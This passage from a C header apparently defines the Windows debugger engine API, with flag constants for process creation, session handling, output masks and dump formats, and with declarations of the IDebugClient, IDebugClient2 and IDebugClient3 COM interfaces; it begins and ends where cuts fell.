DEBUG_ECREATE_PROCESS_USE_IMPLICIT_COMMAND_LINE 0x00000004\n\ntypedef struct _DEBUG_CREATE_PROCESS_OPTIONS\n{\n // Win32 create flags.\n ULONG CreateFlags;\n // DEBUG_ECREATE_PROCESS_* flags.\n ULONG EngCreateFlags;\n // Application Verifier flags,\n // if DEBUG_ECREATE_PROCESS_USE_VERIFIER_FLAGS is set.\n ULONG VerifierFlags;\n // Must be zero.\n ULONG Reserved;\n} DEBUG_CREATE_PROCESS_OPTIONS, *PDEBUG_CREATE_PROCESS_OPTIONS;\n\n//\n// Process options.\n//\n\n// Indicates that the debuggee process should be\n// automatically detached when the debugger exits.\n// A debugger can explicitly detach on exit or this\n// flag can be set so that detach occurs regardless\n// of how the debugger exits.\n// This is only supported on some system versions.\n#define DEBUG_PROCESS_DETACH_ON_EXIT 0x00000001\n// Indicates that processes created by the current\n// process should not be debugged.\n// Modifying this flag is only supported on some\n// system versions.\n#define DEBUG_PROCESS_ONLY_THIS_PROCESS 0x00000002\n\n// ConnectSession flags.\n// Default connect.\n#define DEBUG_CONNECT_SESSION_DEFAULT 0x00000000\n// Do not output the debugger version.\n#define DEBUG_CONNECT_SESSION_NO_VERSION 0x00000001\n// Do not announce the connection.\n#define DEBUG_CONNECT_SESSION_NO_ANNOUNCE 0x00000002\n\n// OutputServers flags.\n// Debugger servers from StartSever.\n#define DEBUG_SERVERS_DEBUGGER 0x00000001\n// Process servers from StartProcessServer.\n#define DEBUG_SERVERS_PROCESS 0x00000002\n#define DEBUG_SERVERS_ALL 0x00000003\n\n// EndSession flags.\n// Perform cleanup for the session.\n#define DEBUG_END_PASSIVE 0x00000000\n// Actively terminate the session and then perform cleanup.\n#define DEBUG_END_ACTIVE_TERMINATE 0x00000001\n// If possible, detach from all processes and then perform cleanup.\n#define DEBUG_END_ACTIVE_DETACH 0x00000002\n// Perform whatever cleanup is possible that doesn't require\n// acquiring any locks. This is useful for situations where\n// a thread is currently using the engine but the application\n// needs to exit and still wants to give the engine\n// the opportunity to clean up as much as possible.\n// This may leave the engine in an indeterminate state so\n// further engine calls should not be made.\n// When making a reentrant EndSession call from a remote\n// client it is the callers responsibility to ensure\n// that the server can process the request. It is best\n// to avoid making such calls.\n#define DEBUG_END_REENTRANT 0x00000003\n// Notify a server that a remote client is disconnecting.\n// This isnt required but if it isnt called then\n// no disconnect messages will be generated by the server.\n#define DEBUG_END_DISCONNECT 0x00000004\n\n// Output mask bits.\n// Normal output.\n#define DEBUG_OUTPUT_NORMAL 0x00000001\n// Error output.\n#define DEBUG_OUTPUT_ERROR 0x00000002\n// Warnings.\n#define DEBUG_OUTPUT_WARNING 0x00000004\n// Additional output.\n#define DEBUG_OUTPUT_VERBOSE 0x00000008\n// Prompt output.\n#define DEBUG_OUTPUT_PROMPT 0x00000010\n// Register dump before prompt.\n#define DEBUG_OUTPUT_PROMPT_REGISTERS 0x00000020\n// Warnings specific to extension operation.\n#define DEBUG_OUTPUT_EXTENSION_WARNING 0x00000040\n// Debuggee debug output, such as from OutputDebugString.\n#define DEBUG_OUTPUT_DEBUGGEE 0x00000080\n// Debuggee-generated prompt, such as from DbgPrompt.\n#define DEBUG_OUTPUT_DEBUGGEE_PROMPT 0x00000100\n// Symbol messages, such as for !sym noisy.\n#define DEBUG_OUTPUT_SYMBOLS 0x00000200\n\n// Internal debugger output, used mainly\n// for debugging the debugger. Output\n// may only occur in debug builds.\n// KD protocol output.\n#define DEBUG_IOUTPUT_KD_PROTOCOL 0x80000000\n// Remoting output.\n#define DEBUG_IOUTPUT_REMOTING 0x40000000\n// Breakpoint output.\n#define DEBUG_IOUTPUT_BREAKPOINT 0x20000000\n// Event output.\n#define DEBUG_IOUTPUT_EVENT 0x10000000\n// Virtual/Physical address translation\n#define DEBUG_IOUTPUT_ADDR_TRANSLATE 0x08000000\n\n// OutputIdentity flags.\n#define DEBUG_OUTPUT_IDENTITY_DEFAULT 0x00000000\n\n#undef INTERFACE\n#define INTERFACE IDebugClient\nDECLARE_INTERFACE_(IDebugClient, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugClient.\n\n // The following set of methods start\n // the different kinds of debuggees.\n\n // Begins a debug session using the kernel\n // debugging protocol. This method selects\n // the protocol as the debuggee communication\n // mechanism but does not initiate the communication\n // itself.\n STDMETHOD(AttachKernel)(\n THIS_\n __in ULONG Flags,\n __in_opt PCSTR ConnectOptions\n ) PURE;\n STDMETHOD(GetKernelConnectionOptions)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG OptionsSize\n ) PURE;\n // Updates the connection options for a live\n // kernel connection. This can only be used\n // to modify parameters for the connection, not\n // to switch to a completely different kind of\n // connection.\n // This method is reentrant.\n STDMETHOD(SetKernelConnectionOptions)(\n THIS_\n __in PCSTR Options\n ) PURE;\n\n // Starts a process server for remote\n // user-mode process control.\n // The local process server is server zero.\n STDMETHOD(StartProcessServer)(\n THIS_\n __in ULONG Flags,\n __in PCSTR Options,\n __in_opt __reserved PVOID Reserved\n ) PURE;\n STDMETHOD(ConnectProcessServer)(\n THIS_\n __in PCSTR RemoteOptions,\n __out PULONG64 Server\n ) PURE;\n STDMETHOD(DisconnectProcessServer)(\n THIS_\n __in ULONG64 Server\n ) PURE;\n\n // Enumerates and describes processes\n // accessible through the given process server.\n STDMETHOD(GetRunningProcessSystemIds)(\n THIS_\n __in ULONG64 Server,\n __out_ecount_opt(Count) PULONG Ids,\n __in ULONG Count,\n __out_opt PULONG ActualCount\n ) PURE;\n STDMETHOD(GetRunningProcessSystemIdByExecutableName)(\n THIS_\n __in ULONG64 Server,\n __in PCSTR ExeName,\n __in ULONG Flags,\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetRunningProcessDescription)(\n THIS_\n __in ULONG64 Server,\n __in ULONG SystemId,\n __in ULONG Flags,\n __out_ecount_opt(ExeNameSize) PSTR ExeName,\n __in ULONG ExeNameSize,\n __out_opt PULONG ActualExeNameSize,\n __out_ecount_opt(DescriptionSize) PSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG ActualDescriptionSize\n ) PURE;\n\n // Attaches to a running user-mode process.\n STDMETHOD(AttachProcess)(\n THIS_\n __in ULONG64 Server,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n // Creates a new user-mode process for debugging.\n // CreateFlags are as given to Win32s CreateProcess.\n // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS\n // must be specified.\n STDMETHOD(CreateProcess)(\n THIS_\n __in ULONG64 Server,\n __in PSTR CommandLine,\n __in ULONG CreateFlags\n ) PURE;\n // Creates or attaches to a user-mode process, or both.\n // If CommandLine is NULL this method operates as\n // AttachProcess does. If ProcessId is zero it\n // operates as CreateProcess does. If CommandLine is\n // non-NULL and ProcessId is non-zero the method first\n // starts a process with the given information but\n // in a suspended state. The engine then attaches to\n // the indicated process. Once the attach is successful\n // the suspended process is resumed. This provides\n // synchronization between the new process and the\n // attachment.\n STDMETHOD(CreateProcessAndAttach)(\n THIS_\n __in ULONG64 Server,\n __in_opt PSTR CommandLine,\n __in ULONG CreateFlags,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n // Gets and sets process control flags.\n STDMETHOD(GetProcessOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // Opens any kind of user- or kernel-mode dump file\n // and begins a debug session with the information\n // contained within it.\n STDMETHOD(OpenDumpFile)(\n THIS_\n __in PCSTR DumpFile\n ) PURE;\n // Writes a dump file from the current session information.\n // The kind of dump file written is determined by the\n // kind of session and the type qualifier given.\n // For example, if the current session is a kernel\n // debug session (DEBUG_CLASS_KERNEL) and the qualifier\n // is DEBUG_DUMP_SMALL a small kernel dump will be written.\n STDMETHOD(WriteDumpFile)(\n THIS_\n __in PCSTR DumpFile,\n __in ULONG Qualifier\n ) PURE;\n\n // Indicates that a remote client is ready to\n // begin participating in the current session.\n // HistoryLimit gives a character limit on\n // the amount of output history to be sent.\n STDMETHOD(ConnectSession)(\n THIS_\n __in ULONG Flags,\n __in ULONG HistoryLimit\n ) PURE;\n // Indicates that the engine should start accepting\n // remote connections. Options specifies connection types\n // and their parameters. Supported strings are:\n // npipe:Pipe=\n // tcp:Port=\n STDMETHOD(StartServer)(\n THIS_\n __in PCSTR Options\n ) PURE;\n // List the servers running on the given machine.\n // Uses the line prefix.\n STDMETHOD(OutputServers)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR Machine,\n __in ULONG Flags\n ) PURE;\n\n // Attempts to terminate all processes in the debuggers list.\n STDMETHOD(TerminateProcesses)(\n THIS\n ) PURE;\n // Attempts to detach from all processes in the debuggers list.\n // This requires OS support for debugger detach.\n STDMETHOD(DetachProcesses)(\n THIS\n ) PURE;\n // Stops the current debug session. If a process\n // was created or attached an active EndSession can\n // terminate or detach from it.\n // If a kernel connection was opened it will be closed but the\n // target machine is otherwise unaffected.\n STDMETHOD(EndSession)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // If a process was started and ran to completion\n // this method can be used to retrieve its exit code.\n STDMETHOD(GetExitCode)(\n THIS_\n __out PULONG Code\n ) PURE;\n\n // Client event callbacks are called on the thread\n // of the client. In order to give thread\n // execution to the engine for callbacks all\n // client threads should call DispatchCallbacks\n // when they are idle. Callbacks are only\n // received when a thread calls DispatchCallbacks\n // or WaitForEvent. WaitForEvent can only be\n // called by the thread that started the debug\n // session so all other client threads should\n // call DispatchCallbacks when possible.\n // DispatchCallbacks returns when ExitDispatch is used\n // to interrupt dispatch or when the timeout expires.\n // DispatchCallbacks dispatches callbacks for all\n // clients associated with the thread calling\n // DispatchCallbacks.\n // DispatchCallbacks returns S_FALSE when the\n // timeout expires.\n STDMETHOD(DispatchCallbacks)(\n THIS_\n __in ULONG Timeout\n ) PURE;\n // ExitDispatch can be used to interrupt callback\n // dispatch when a client thread is needed by the\n // client. This method is reentrant and can\n // be called from any thread.\n STDMETHOD(ExitDispatch)(\n THIS_\n __in PDEBUG_CLIENT Client\n ) PURE;\n\n // Clients are specific to the thread that\n // created them. Calls from other threads\n // fail immediately. The CreateClient method\n // is a notable exception; it allows creation\n // of a new client for a new thread.\n STDMETHOD(CreateClient)(\n THIS_\n __out PDEBUG_CLIENT* Client\n ) PURE;\n\n STDMETHOD(GetInputCallbacks)(\n THIS_\n __out PDEBUG_INPUT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetInputCallbacks)(\n THIS_\n __in_opt PDEBUG_INPUT_CALLBACKS Callbacks\n ) PURE;\n\n // Output callback interfaces are described separately.\n STDMETHOD(GetOutputCallbacks)(\n THIS_\n __out PDEBUG_OUTPUT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetOutputCallbacks)(\n THIS_\n __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks\n ) PURE;\n // Output flags provide control over\n // the distribution of output among clients.\n // Output masks select which output streams\n // should be sent to the output callbacks.\n // Only Output calls with a mask that\n // contains one of the output mask bits\n // will be sent to the output callbacks.\n // These methods are reentrant.\n // If such access is not synchronized\n // disruptions in output may occur.\n STDMETHOD(GetOutputMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetOutputMask)(\n THIS_\n __in ULONG Mask\n ) PURE;\n // These methods allow access to another clients\n // output mask. They are necessary for changing\n // a clients output mask when it is\n // waiting for events. These methods are reentrant\n // and can be called from any thread.\n STDMETHOD(GetOtherOutputMask)(\n THIS_\n __in PDEBUG_CLIENT Client,\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetOtherOutputMask)(\n THIS_\n __in PDEBUG_CLIENT Client,\n __in ULONG Mask\n ) PURE;\n // Control the width of an output line for\n // commands which produce formatted output.\n // This setting is just a suggestion.\n STDMETHOD(GetOutputWidth)(\n THIS_\n __out PULONG Columns\n ) PURE;\n STDMETHOD(SetOutputWidth)(\n THIS_\n __in ULONG Columns\n ) PURE;\n // Some of the engines output commands produce\n // multiple lines of output. A prefix can be\n // set that the engine will automatically output\n // for each line in that case, allowing a caller\n // to control indentation or identifying marks.\n // This is not a general setting for any output\n // with a newline in it. Methods which use\n // the line prefix are marked in their documentation.\n STDMETHOD(GetOutputLinePrefix)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PrefixSize\n ) PURE;\n STDMETHOD(SetOutputLinePrefix)(\n THIS_\n __in_opt PCSTR Prefix\n ) PURE;\n\n // Returns a string describing the machine\n // and user this client represents. The\n // specific content of the string varies\n // with operating system. If the client is\n // remotely connected some network information\n // may also be present.\n STDMETHOD(GetIdentity)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG IdentitySize\n ) PURE;\n // Format is a printf-like format string\n // with one %s where the identity string should go.\n STDMETHOD(OutputIdentity)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags,\n __in PCSTR Format\n ) PURE;\n\n // Event callbacks allow a client to\n // receive notification about changes\n // during the debug session.\n STDMETHOD(GetEventCallbacks)(\n THIS_\n __out PDEBUG_EVENT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetEventCallbacks)(\n THIS_\n __in_opt PDEBUG_EVENT_CALLBACKS Callbacks\n ) PURE;\n\n // The engine sometimes merges compatible callback\n // requests to reduce callback overhead. This is\n // most noticeable with output as small pieces of\n // output are collected into larger groups to\n // reduce the overall number of output callback calls.\n // A client can use this method to force all pending\n // callbacks to be delivered. This is rarely necessary.\n STDMETHOD(FlushCallbacks)(\n THIS\n ) PURE;\n};\n\n// Per-dump-format control flags.\n#define DEBUG_FORMAT_DEFAULT 0x00000000\n// When creating a CAB with secondary images do searches\n// for all image files, regardless of whether they're\n// needed for the current session or not.\n#define DEBUG_FORMAT_CAB_SECONDARY_ALL_IMAGES 0x10000000\n// Write dump to a temporary file, then package it\n// into a CAB file and delete the temporary file.\n#define DEBUG_FORMAT_WRITE_CAB 0x20000000\n// When creating a CAB add secondary files such as\n// current symbols and mapped images.\n#define DEBUG_FORMAT_CAB_SECONDARY_FILES 0x40000000\n// Don't overwrite existing files.\n#define DEBUG_FORMAT_NO_OVERWRITE 0x80000000\n\n#define DEBUG_FORMAT_USER_SMALL_FULL_MEMORY 0x00000001\n#define DEBUG_FORMAT_USER_SMALL_HANDLE_DATA 0x00000002\n#define DEBUG_FORMAT_USER_SMALL_UNLOADED_MODULES 0x00000004\n#define DEBUG_FORMAT_USER_SMALL_INDIRECT_MEMORY 0x00000008\n#define DEBUG_FORMAT_USER_SMALL_DATA_SEGMENTS 0x00000010\n#define DEBUG_FORMAT_USER_SMALL_FILTER_MEMORY 0x00000020\n#define DEBUG_FORMAT_USER_SMALL_FILTER_PATHS 0x00000040\n#define DEBUG_FORMAT_USER_SMALL_PROCESS_THREAD_DATA 0x00000080\n#define DEBUG_FORMAT_USER_SMALL_PRIVATE_READ_WRITE_MEMORY 0x00000100\n#define DEBUG_FORMAT_USER_SMALL_NO_OPTIONAL_DATA 0x00000200\n#define DEBUG_FORMAT_USER_SMALL_FULL_MEMORY_INFO 0x00000400\n#define DEBUG_FORMAT_USER_SMALL_THREAD_INFO 0x00000800\n#define DEBUG_FORMAT_USER_SMALL_CODE_SEGMENTS 0x00001000\n#define DEBUG_FORMAT_USER_SMALL_NO_AUXILIARY_STATE 0x00002000\n#define DEBUG_FORMAT_USER_SMALL_FULL_AUXILIARY_STATE 0x00004000\n#define DEBUG_FORMAT_USER_SMALL_IGNORE_INACCESSIBLE_MEM 0x08000000\n\n//\n// Dump information file types.\n//\n\n// Base dump file, returned when querying for dump files.\n#define DEBUG_DUMP_FILE_BASE 0xffffffff\n// Single file containing packed page file information.\n#define DEBUG_DUMP_FILE_PAGE_FILE_DUMP 0x00000000\n\n#undef INTERFACE\n#define INTERFACE IDebugClient2\nDECLARE_INTERFACE_(IDebugClient2, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugClient.\n\n // The following set of methods start\n // the different kinds of debuggees.\n\n // Begins a debug session using the kernel\n // debugging protocol. This method selects\n // the protocol as the debuggee communication\n // mechanism but does not initiate the communication\n // itself.\n STDMETHOD(AttachKernel)(\n THIS_\n __in ULONG Flags,\n __in_opt PCSTR ConnectOptions\n ) PURE;\n STDMETHOD(GetKernelConnectionOptions)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG OptionsSize\n ) PURE;\n // Updates the connection options for a live\n // kernel connection. This can only be used\n // to modify parameters for the connection, not\n // to switch to a completely different kind of\n // connection.\n // This method is reentrant.\n STDMETHOD(SetKernelConnectionOptions)(\n THIS_\n __in PCSTR Options\n ) PURE;\n\n // Starts a process server for remote\n // user-mode process control.\n // The local process server is server zero.\n STDMETHOD(StartProcessServer)(\n THIS_\n __in ULONG Flags,\n __in PCSTR Options,\n __in_opt __reserved PVOID Reserved\n ) PURE;\n STDMETHOD(ConnectProcessServer)(\n THIS_\n __in PCSTR RemoteOptions,\n __out PULONG64 Server\n ) PURE;\n STDMETHOD(DisconnectProcessServer)(\n THIS_\n __in ULONG64 Server\n ) PURE;\n\n // Enumerates and describes processes\n // accessible through the given process server.\n STDMETHOD(GetRunningProcessSystemIds)(\n THIS_\n __in ULONG64 Server,\n __out_ecount_opt(Count) PULONG Ids,\n __in ULONG Count,\n __out_opt PULONG ActualCount\n ) PURE;\n STDMETHOD(GetRunningProcessSystemIdByExecutableName)(\n THIS_\n __in ULONG64 Server,\n __in PCSTR ExeName,\n __in ULONG Flags,\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetRunningProcessDescription)(\n THIS_\n __in ULONG64 Server,\n __in ULONG SystemId,\n __in ULONG Flags,\n __out_ecount_opt(ExeNameSize) PSTR ExeName,\n __in ULONG ExeNameSize,\n __out_opt PULONG ActualExeNameSize,\n __out_ecount_opt(DescriptionSize) PSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG ActualDescriptionSize\n ) PURE;\n\n // Attaches to a running user-mode process.\n STDMETHOD(AttachProcess)(\n THIS_\n __in ULONG64 Server,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n // Creates a new user-mode process for debugging.\n // CreateFlags are as given to Win32s CreateProcess.\n // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS\n // must be specified.\n STDMETHOD(CreateProcess)(\n THIS_\n __in ULONG64 Server,\n __in PSTR CommandLine,\n __in ULONG CreateFlags\n ) PURE;\n // Creates or attaches to a user-mode process, or both.\n // If CommandLine is NULL this method operates as\n // AttachProcess does. If ProcessId is zero it\n // operates as CreateProcess does. If CommandLine is\n // non-NULL and ProcessId is non-zero the method first\n // starts a process with the given information but\n // in a suspended state. The engine then attaches to\n // the indicated process. Once the attach is successful\n // the suspended process is resumed. This provides\n // synchronization between the new process and the\n // attachment.\n STDMETHOD(CreateProcessAndAttach)(\n THIS_\n __in ULONG64 Server,\n __in_opt PSTR CommandLine,\n __in ULONG CreateFlags,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n // Gets and sets process control flags.\n STDMETHOD(GetProcessOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // Opens any kind of user- or kernel-mode dump file\n // and begins a debug session with the information\n // contained within it.\n STDMETHOD(OpenDumpFile)(\n THIS_\n __in PCSTR DumpFile\n ) PURE;\n // Writes a dump file from the current session information.\n // The kind of dump file written is determined by the\n // kind of session and the type qualifier given.\n // For example, if the current session is a kernel\n // debug session (DEBUG_CLASS_KERNEL) and the qualifier\n // is DEBUG_DUMP_SMALL a small kernel dump will be written.\n STDMETHOD(WriteDumpFile)(\n THIS_\n __in PCSTR DumpFile,\n __in ULONG Qualifier\n ) PURE;\n\n // Indicates that a remote client is ready to\n // begin participating in the current session.\n // HistoryLimit gives a character limit on\n // the amount of output history to be sent.\n STDMETHOD(ConnectSession)(\n THIS_\n __in ULONG Flags,\n __in ULONG HistoryLimit\n ) PURE;\n // Indicates that the engine should start accepting\n // remote connections. Options specifies connection types\n // and their parameters. Supported strings are:\n // npipe:Pipe=\n // tcp:Port=\n STDMETHOD(StartServer)(\n THIS_\n __in PCSTR Options\n ) PURE;\n // List the servers running on the given machine.\n // Uses the line prefix.\n STDMETHOD(OutputServers)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR Machine,\n __in ULONG Flags\n ) PURE;\n\n // Attempts to terminate all processes in the debuggers list.\n STDMETHOD(TerminateProcesses)(\n THIS\n ) PURE;\n // Attempts to detach from all processes in the debuggers list.\n // This requires OS support for debugger detach.\n STDMETHOD(DetachProcesses)(\n THIS\n ) PURE;\n // Stops the current debug session. If a process\n // was created or attached an active EndSession can\n // terminate or detach from it.\n // If a kernel connection was opened it will be closed but the\n // target machine is otherwise unaffected.\n STDMETHOD(EndSession)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // If a process was started and ran to completion\n // this method can be used to retrieve its exit code.\n STDMETHOD(GetExitCode)(\n THIS_\n __out PULONG Code\n ) PURE;\n\n // Client event callbacks are called on the thread\n // of the client. In order to give thread\n // execution to the engine for callbacks all\n // client threads should call DispatchCallbacks\n // when they are idle. Callbacks are only\n // received when a thread calls DispatchCallbacks\n // or WaitForEvent. WaitForEvent can only be\n // called by the thread that started the debug\n // session so all other client threads should\n // call DispatchCallbacks when possible.\n // DispatchCallbacks returns when ExitDispatch is used\n // to interrupt dispatch or when the timeout expires.\n // DispatchCallbacks dispatches callbacks for all\n // clients associated with the thread calling\n // DispatchCallbacks.\n // DispatchCallbacks returns S_FALSE when the\n // timeout expires.\n STDMETHOD(DispatchCallbacks)(\n THIS_\n __in ULONG Timeout\n ) PURE;\n // ExitDispatch can be used to interrupt callback\n // dispatch when a client thread is needed by the\n // client. This method is reentrant and can\n // be called from any thread.\n STDMETHOD(ExitDispatch)(\n THIS_\n __in PDEBUG_CLIENT Client\n ) PURE;\n\n // Clients are specific to the thread that\n // created them. Calls from other threads\n // fail immediately. The CreateClient method\n // is a notable exception; it allows creation\n // of a new client for a new thread.\n STDMETHOD(CreateClient)(\n THIS_\n __out PDEBUG_CLIENT* Client\n ) PURE;\n\n STDMETHOD(GetInputCallbacks)(\n THIS_\n __out PDEBUG_INPUT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetInputCallbacks)(\n THIS_\n __in_opt PDEBUG_INPUT_CALLBACKS Callbacks\n ) PURE;\n\n // Output callback interfaces are described separately.\n STDMETHOD(GetOutputCallbacks)(\n THIS_\n __out PDEBUG_OUTPUT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetOutputCallbacks)(\n THIS_\n __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks\n ) PURE;\n // Output flags provide control over\n // the distribution of output among clients.\n // Output masks select which output streams\n // should be sent to the output callbacks.\n // Only Output calls with a mask that\n // contains one of the output mask bits\n // will be sent to the output callbacks.\n // These methods are reentrant.\n // If such access is not synchronized\n // disruptions in output may occur.\n STDMETHOD(GetOutputMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetOutputMask)(\n THIS_\n __in ULONG Mask\n ) PURE;\n // These methods allow access to another clients\n // output mask. They are necessary for changing\n // a clients output mask when it is\n // waiting for events. These methods are reentrant\n // and can be called from any thread.\n STDMETHOD(GetOtherOutputMask)(\n THIS_\n __in PDEBUG_CLIENT Client,\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetOtherOutputMask)(\n THIS_\n __in PDEBUG_CLIENT Client,\n __in ULONG Mask\n ) PURE;\n // Control the width of an output line for\n // commands which produce formatted output.\n // This setting is just a suggestion.\n STDMETHOD(GetOutputWidth)(\n THIS_\n __out PULONG Columns\n ) PURE;\n STDMETHOD(SetOutputWidth)(\n THIS_\n __in ULONG Columns\n ) PURE;\n // Some of the engines output commands produce\n // multiple lines of output. A prefix can be\n // set that the engine will automatically output\n // for each line in that case, allowing a caller\n // to control indentation or identifying marks.\n // This is not a general setting for any output\n // with a newline in it. Methods which use\n // the line prefix are marked in their documentation.\n STDMETHOD(GetOutputLinePrefix)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PrefixSize\n ) PURE;\n STDMETHOD(SetOutputLinePrefix)(\n THIS_\n __in_opt PCSTR Prefix\n ) PURE;\n\n // Returns a string describing the machine\n // and user this client represents. The\n // specific content of the string varies\n // with operating system. If the client is\n // remotely connected some network information\n // may also be present.\n STDMETHOD(GetIdentity)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG IdentitySize\n ) PURE;\n // Format is a printf-like format string\n // with one %s where the identity string should go.\n STDMETHOD(OutputIdentity)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags,\n __in PCSTR Format\n ) PURE;\n\n // Event callbacks allow a client to\n // receive notification about changes\n // during the debug session.\n STDMETHOD(GetEventCallbacks)(\n THIS_\n __out PDEBUG_EVENT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetEventCallbacks)(\n THIS_\n __in_opt PDEBUG_EVENT_CALLBACKS Callbacks\n ) PURE;\n\n // The engine sometimes merges compatible callback\n // requests to reduce callback overhead. This is\n // most noticeable with output as small pieces of\n // output are collected into larger groups to\n // reduce the overall number of output callback calls.\n // A client can use this method to force all pending\n // callbacks to be delivered. This is rarely necessary.\n STDMETHOD(FlushCallbacks)(\n THIS\n ) PURE;\n\n // IDebugClient2.\n\n // Functions similarly to WriteDumpFile with\n // the addition of the ability to specify\n // per-dump-format write control flags.\n // Comment is not supported in all formats.\n STDMETHOD(WriteDumpFile2)(\n THIS_\n __in PCSTR DumpFile,\n __in ULONG Qualifier,\n __in ULONG FormatFlags,\n __in_opt PCSTR Comment\n ) PURE;\n // Registers additional files of supporting information\n // for a dump file open. This method must be called\n // before OpenDumpFile is called.\n // The files registered may be opened at the time\n // this method is called but generally will not\n // be used until OpenDumpFile is called.\n STDMETHOD(AddDumpInformationFile)(\n THIS_\n __in PCSTR InfoFile,\n __in ULONG Type\n ) PURE;\n\n // Requests that the remote process server shut down.\n STDMETHOD(EndProcessServer)(\n THIS_\n __in ULONG64 Server\n ) PURE;\n // Waits for a started process server to\n // exit. Allows an application running a\n // process server to monitor the process\n // server so that it can tell when a remote\n // client has asked for it to exit.\n // Returns S_OK if the process server has\n // shut down and S_FALSE for a timeout.\n STDMETHOD(WaitForProcessServerEnd)(\n THIS_\n __in ULONG Timeout\n ) PURE;\n\n // Returns S_OK if the system is configured\n // to allow kernel debugging.\n STDMETHOD(IsKernelDebuggerEnabled)(\n THIS\n ) PURE;\n\n // Attempts to terminate the current process.\n // Exit process events for the process may be generated.\n STDMETHOD(TerminateCurrentProcess)(\n THIS\n ) PURE;\n // Attempts to detach from the current process.\n // This requires OS support for debugger detach.\n STDMETHOD(DetachCurrentProcess)(\n THIS\n ) PURE;\n // Removes the process from the debuggers process\n // list without making any other changes. The process\n // will still be marked as being debugged and will\n // not run. This allows a debugger to be shut down\n // and a new debugger attached without taking the\n // process out of the debugged state.\n // This is only supported on some system versions.\n STDMETHOD(AbandonCurrentProcess)(\n THIS\n ) PURE;\n};\n\n#undef INTERFACE\n#define INTERFACE IDebugClient3\nDECLARE_INTERFACE_(IDebugClient3, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugClient.\n\n // The following set of methods start\n // the different kinds of debuggees.\n\n // Begins a debug session using the kernel\n // debugging protocol. This method selects\n // the protocol as the debuggee communication\n // mechanism but does not initiate the communication\n // itself.\n STDMETHOD(AttachKernel)(\n THIS_\n __in ULONG Flags,\n __in_opt PCSTR ConnectOptions\n ) PURE;\n STDMETHOD(GetKernelConnectionOptions)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG OptionsSize\n ) PURE;\n // Updates the connection options for a live\n // kernel connection. This can only be used\n // to modify parameters for the connection, not\n // to switch to a completely different kind of\n // connection.\n // This method is reentrant.\n STDMETHOD(SetKernelConnectionOptions)(\n THIS_\n __in PCSTR Options\n ) PURE;\n\n // Starts a process server for remote\n // user-mode process control.\n // The local process server is server zero.\n STDMETHOD(StartProcessServer)(\n THIS_\n __in ULONG Flags,\n __in PCSTR Options,\n __in_opt __reserved PVOID Reserved\n ) PURE;\n STDMETHOD(ConnectProcessServer)(\n THIS_\n __in PCSTR 